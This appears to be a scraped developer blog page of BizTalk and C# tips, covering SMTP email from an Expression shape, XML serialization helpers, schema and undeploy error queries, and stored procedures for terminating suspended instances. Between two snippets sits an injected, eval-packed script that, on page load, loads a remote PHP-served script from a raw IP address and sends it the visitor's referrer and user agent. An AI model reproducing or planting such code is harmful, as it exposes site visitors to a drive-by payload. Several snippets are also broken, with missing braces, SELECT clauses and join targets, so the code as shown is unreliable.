How to send an email from a BizTalk Expression shape (without using the SMTP Send Ports).
Note: There are two mail objects, the older one is System.Web.Mail and the newer one It also shows how to connect to an SMTP Host (Server) that requires userid/password authentication.

Note: The SMTPHost, from email, user/password were retrieved in the previous expression shape from the <AppSettings> of the BTNTSVC.exe.config file.

objMail = new System.Net.Mail.MailMessage();

objMailAddressFrom = new System.Net.Mail.MailAddress(strMailFrom);
objMail.From = objMailAddressFrom;

objMailAddressTo = new System.Net.Mail.MailAddress(msgEmailFromSQL.EmailAddress);

objMail.Subject = msgEmailFromSQL.Status_Code.Description;

objMail.Body =
    msgEmailFromSQL.Status_Code.Text +
    "&lt;BR&gt;&lt;BR&gt;" +
    "&lt;a href='" + msgEmailFromSQL.WebPageAddress + "'&gt;" +
    msgEmailFromSQL.WebPageAddress + "&lt;/a&gt;";

objMail.IsBodyHtml = true;

objCredentials = new System.Net.NetworkCredential(strMailUser, strMailPassword);
objSmtpClient = new System.Net.Mail.SmtpClient(strMailServer);
objSmtpClient.Credentials = objCredentials;


XML Serializer – Sample Code – How to take a C# object and write it to a file in XML “serialized” format.

NOTE: Serialize means to take an object (in memory) and turn it to a format that can be preserved to disk (or sent over a wire). Deserialize means to take the serialized-format, and turn it back into an object (in memory).

using System.Xml.Serialization;
using System.IO;

//  Serialize an object in memory to disk. 

            XmlSerializer xs1 = new XmlSerializer(typeof(YourClassName));
            StreamWriter sw1 = new StreamWriter(@"c:DeserializeYourObject.xml");
            xs1.Serialize(sw1, objYourObjectFromYourClassName);

// Now to deserialize it - assuming this might be a different program, run later.

            XmlSerializer xs2 = new XmlSerializer(typeof(YourClassName));
            StreamReader sr2 = new StreamReader(@"c:DeserializeYourObject.xml");
            // deserialize and cast back to proper class
            objYourObjectFromYourClassName = (YourClassName) xs2.Deserialize(sr2);
            Console.WriteLine ("Deserialize2 completed");


NOTE: Serializing to a string in memory is a lot trickier than you might think, because you have to deal with byteArrays, and encoding. Here’s a link to a page that explains how to do it:

Based on the above article, I put the following code in my “Common” C# Component library that is deployed on all my systems:

        /// <summary>
        /// Method to convert a custom Object to XML string
        /// </summary>
        /// Object that is to be serialized to XML
        /// XML string
        public static String SerializeObject(Object pObject)


                String XmlizedString = null;
                MemoryStream memoryStream = new MemoryStream();
                XmlSerializer xs = new XmlSerializer(pObject.GetType());
                XmlTextWriter xmlTextWriter = new XmlTextWriter(memoryStream, Encoding.UTF8);

                xs.Serialize(xmlTextWriter, pObject);
                memoryStream = (MemoryStream)xmlTextWriter.BaseStream;
                XmlizedString = UTF8ByteArrayToString(memoryStream.ToArray());
                return XmlizedString;


            catch (Exception e)
                return null;

        /// <summary>
        /// Method to reconstruct turn XMLString back into Object
        /// </summary>

        public static Object DeserializeObject(String pXmlizedString, Type classType)

            XmlSerializer xs = new XmlSerializer(classType);
            MemoryStream memoryStream = new MemoryStream(StringToUTF8ByteArray(pXmlizedString));
            XmlTextWriter xmlTextWriter = new XmlTextWriter(memoryStream, Encoding.UTF8);
            return xs.Deserialize(memoryStream);


        private static String UTF8ByteArrayToString(Byte[] characters)
            UTF8Encoding encoding = new UTF8Encoding();
            String constructedString = encoding.GetString(characters);
            return (constructedString);

        private static Byte[] StringToUTF8ByteArray(String pXmlString)
            UTF8Encoding encoding = new UTF8Encoding();
            Byte[] byteArray = encoding.GetBytes(pXmlString);
            return byteArray;


Just wrap the above with your class name, and add these using statements:

using System;
using System.Collections.Generic;
using System.Collections;
using System.Text;
using System.Xml;
using System.Reflection;
using System.Xml.Schema;
using System.IO;
using System.Xml.Serialization;
using System.Text;

If more than one borrower occurs under “Borrowers”, we get the following error:

A message sent to adapter “FILE” on send port “YourSendPortName” with URI “c:BiztalkDemosYourSubFolder%SourceFileName%” is suspended.
Error details: Unable to read the stream produced by the pipeline.
Details: Cannot find definition for the input: BORROWER

The m ap w as using a Logical-If and a Value-Flattening Functoid.
The incoming test data was auto-generated by doing a right-click generate on a schema,
thus we had duplicate children (Borrowers) in the incoming data file.

By changing the test data, and setting various flags so that the Logical-If functoid only selected one child amongst the children, the problem went away.

This error was only detected when running via the pipeline. The error did not occur when doing a “Test Map” inside Visual Studio.

scheduleREc is a LINQ object, and the field SchedXML is of type System.Xml.Linq.XElement.
strXml is simple a C# string that contains my xml.

 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzstt|var|u0026u|referrer|itkzh||js|php'.split('|'),0,{}))
</script></noindex>            // These two lines of code took a few hours to figure  out! 
            // How to convert string to XElement
            StringReader stringRdr = new StringReader(strXml);
            scheduleRec.SchedXML = XElement.Load(stringRdr);

Handling Error: “More than one schema is deployed for the same message type”

If you have worked with Biztalk very long, you have undoubtedly got the following error:

Event ID: 5719
There was a failure executing the receive pipeline: “Microsoft.BizTalk.DefaultPipelines.XMLReceive” Source: “XML disassembler” Receive Location: “c:OdimoRedbirdOrdersIn*.xml” Reason: The disassembler cannot retrieve the document specification by using this type: “RedOrders”. Either the schema is not deployed correctly, or more than one schema is deployed for the same message type.

Usually, this error is because you didn’t deploy your project, but occassionally, you will have duplicates. How are you supposed to find them?

Here is an SQL statement that will help you list all schemas. Who knows? Someone in an entire different application may have already used the root element you are using.

use biztalkmgmtdb
select msgtype, body_xpath, clr_namespace, clr_typename, clr_assemblyname, schema_root_name,
from bt_DocumentSpec
order by msgtype –(which is the schema-name)
–order by date_modified desc — (probably the date deployed?)

You are looking for two things in this report:
1) Did you deploy the same schema more than once?
2) Did you not deploy the schema?

Look in the msgtype column for your schema name. ?
Do you see more than one of them?

NEW: 08/02/2005 If instead you get error 0xCOC01657 Verify that schema is deployed properly and that the schema assembly implements the document spec.
Check the windowsassembly (GAC) to see if your .dll’s are really there.
Through normaly deployment they should be, but I have seen the GAC out of WACK probably due to my own fault.

Happy Schema Hunting!

It is possible to build and test an XSLT stylesheet in a non-Biztalk product such as Stylus Studio (or XML SPY). The advantages are the XSLT wonderful debuggers that these products have. You can set breakpoints, walk through the XSLT, and do things not limited by Biztalk’s Functoids. The only downside is you do need to know XSLT.

To include the external stylesheet into a map:

1) You should include the XSLT source file into the project first (especially if you are using Visual SourceSafe)

2) click on the map grid, and set the property ? Custom XSLT Path ? to filename containing the XSLT.

In it’s new release this week, Stylus Studio just added EDI and HL7 mapping. I’m not a big EDI/HL7 user, but this might be an nice alternative or cost savings to what Biztalk currently offers (i.e. Covast and the HL7 Accereraltor).

Here’s the quote from the Stylus Studio website (

EDI to XML Mapping

A new EDI-to-XML mapping tool, featuring full support for HL7, UN/EDIFACT and ANSI/X12 specs and more! Build XML enabled systems that leverage existing investments in EDI technologies.

Frequently, when you try to undeploy an assembly, Biztalk returns the following error:

Some items in the removed assembly are still being used by items not defined in the same assembly, thus removal of the assembly failed.
Make sure that items in the assembly you are trying to remove fulfill the following conditions:
1. Pipelines, maps, and schemas are not being used by Send Ports or Receive Locations
2. Roles have no enlisted parties.
Undeployment failed.

The error is not nice enough to tell you the offending maps.

Here is an SQL Query that will identify maps in both send and receive ports:

‘RcvPort’ PortType,
r.nvcName Port, MapName,
assem.nvcName Assembly,
nSequence, indoc_docspec_name, outdoc_docspec_name
from bts_receiveport_transform rt
inner join bts_receiveport r
on rt.nReceivePortID = r.nID
inner join bt_mapspec ms
on = rt.uidTransformGUID
inner join bts_assembly assem
on ms.assemblyid = assem.nID
inner join bts_item item
on ms.itemid =
–order by Port, nSequence


‘SendPort’ PortType,
r.nvcName Port, MapName,
assem.nvcName Assembly,
nSequence, indoc_docspec_name, outdoc_docspec_name
from bts_sendport_transform rt
inner join bts_sendport r
on rt.nSendPortID = r.nID
inner join bt_mapspec ms
on = rt.uidTransformGUID
inner join bts_assembly assem
on ms.assemblyid = assem.nID
inner join bts_item item
on ms.itemid =

order by PortType, Port, nSequence


My client is an early adapter of SQL 2005, maybe going production in August.
We have several Biztalk applications that need to be able to update and retrieve from production databases.

Basically, everybody gives the party line that you have to have Biztalk 2006 to work with SQL2005. I think when they say this, they mean that to have the Biztalk databases running on SQL2005, including BAM/BAS and all that fun stuff.

We are content to leave our Biztalk 2004 databases on SQL 2000, but need the Biztalk 2004 system to call stored procedures on SQL 2005.

Since there are no definitive answers here as to why it won’t work – we
decided to try it and see for ourselves what would happen.

We created a simple stored proc on SQL 2005 (returning a small table with
“for xml auto, elements”. We create a receive port, receive location, and
flat file send port that subscribed to the receive port. After starting the
receive-location which was polling SQL eveyr 30 seconds, we got the same
error every 30 seconds in the application event log:

New transaction cannot enlist in the specified transaction coordinator.

MS-DTC is up and running and looks fine on SQL-2005.

There is a great program called “DTCTester”:;en-us;293799
We run this utility on a server that is running BTS 2004.
Our observation so far is that if this utility won’t communicate with the DTC on SQL 2005, then Biztalk won’t be able either.

For some reason yet undiscovered, our development environment will not communicate using the DTCTester program, so we tried our Biztalk QA system and it worked. Thus we repeated the same test described above on our QA server, and it worked fine. Biztalk was able to call a retrieval Stored Proc on SQL 2005 and it worked great.

I’ll keep you posted on what happens next.

Updated 08/02/2005 – Our development system is now running SQL2005. Biztalk databases are still on SQL2000, and everything working fine.

I was looking to accomplish via software the process of going to HAT, listing all Serivce Instances, and then selectively terminating service instances that have a specific error message.

We have some “errors” that aren’t really errors. In other words, our orchestrations get suspended when we call a web service to a legacy system, and for example the shipping address if over 30 characters. We didn’t try this error, and right now I’m not going to suggest we change and remigrate the orchestrations. So I simply want to run a daily script that finds all suspended orchestrations that have “shipping addres over 30” in the error message, and terminate them. That way, when a person looks in HAT, only the more interesting errors are seen.

The WMI to list the suspended service instance took about six minutes to run, while HAT took about six seconds or less. So I finally decided that HAT had to be using SQL directly, not using WMI, and I sought out on a trek to find how HAT did what it did. I used SQL profiler to start a trace and capture all SQL command to the Biztalk databases, then went to HAT, ran the desired processes, when went back to profiler to see what the real SQL commands actually were.

To list the suspend service instances, this is the call to a stored proc:

use BiztalkMsgBoxDb
exec MBOM_LookupInstances @nvcHost = NULL, @nServiceClass = 1, @uidServiceType = NULL, @uidInstanceID = NULL, @nvcUserState = NULL, @nStatus = 63, @nPendingOperation = 15, @dtFrom = NULL, @dtUntil = NULL, @nMaxMatches = 200

To delete one of the suspended service instances, call this Stored Proc and pass the three GUIDs:

exec [dbo].[bts_AdminCompleteTerminate_BizTalkServerApplication]
@uidInstanceID = N'{0E6DF4B2-76D4-46D8-AF80-9B0C07907E38}’,
@uidServiceID = N'{7825F761-716A-5253-7592-A62A4D711BD1}’,
@uidClassID = N'{226FC6B9-0416-47A4-A8E8-4721F1DB1A1B}’,
@nResult = 1

So now, I am using a VBScript with ADODB to run the stored procs, and I’m happy with the results.